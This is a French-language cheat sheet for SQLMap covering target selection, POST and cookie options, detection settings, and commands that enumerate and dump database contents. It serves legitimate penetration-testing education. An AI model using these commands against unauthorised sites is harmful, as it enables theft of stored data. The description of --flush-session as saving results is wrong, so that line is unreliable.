🩸SQLMap

SQLMap est un outil open-source de test d'intrusion automatisé pour détecter et exploiter les failles d'injection SQL dans les applications web. Voici une cheat sheet avec les commandes les plus courantes et leur description pour utiliser SQLMap efficacement.

1. Syntaxe générale :

sqlmap -u "http://cible.tld/page.php?id=1" [options]

2. Définir la cible

# URL avec paramètre vulnérable
sqlmap -u "http://site.tld/page.php?id=1"

# Requête HTTP entière (GET/POST) depuis un fichier
sqlmap -r requete.txt

# Spécifier un paramètre particulier à tester
sqlmap -u "http://site.tld/page.php?id=1&cat=2" -p "id"

3. Méthode & données (POST, cookie…)

# Requête POST simple
sqlmap -u "http://site.tld/login.php" --data="user=test&pass=test"

# Spécifier un cookie
sqlmap -u "http://site.tld/page.php?id=1" --cookie="PHPSESSID=XXXXX"

#Tu peux aussi laisser SQLMap analyser la page et détecter les formulaires :
sqlmap -u "http://site.tld/page.php" --forms

4. Détection & réglages

# Forcer un type de SGBD si tu as un doute
sqlmap -u "http://site.tld/page.php?id=1" --dbms=mysql

# Augmenter la profondeur des tests
sqlmap -u "http://site.tld/page.php?id=1" --level=5 --risk=3

• --level : nombre de vecteurs testés (1–5)

• --risk : agressivité des tests (1–3)

5. Énumération des bases et tables

Ici, tu ajoutes simplement des options pour demander plus d’info à SQLMap.

# Lister les bases de données
sqlmap -u "http://site.tld/page.php?id=1" --dbs

# Afficher la base courante
sqlmap -u "http://site.tld/page.php?id=1" --current-db

# Lister les tables d'une base
sqlmap -u "http://site.tld/page.php?id=1" -D nom_base --tables

# Lister les colonnes d'une table
sqlmap -u "http://site.tld/page.php?id=1" -D nom_base -T nom_table --columns

# Récupérer le contenu d'une table
sqlmap -u "http://site.tld/page.php?id=1" -D nom_base -T nom_table --dump

6. Options pratiques

# Mode non interactif (ne pose pas de questions)
sqlmap -u "http://site.tld/page.php?id=1" --batch

# Multithreading pour accélérer
sqlmap -u "http://site.tld/page.php?id=1" --threads=5

# Sauvegarde des requêtes et résultats (par défaut dans output/)
sqlmap -u "http://site.tld/page.php?id=1" --flush-session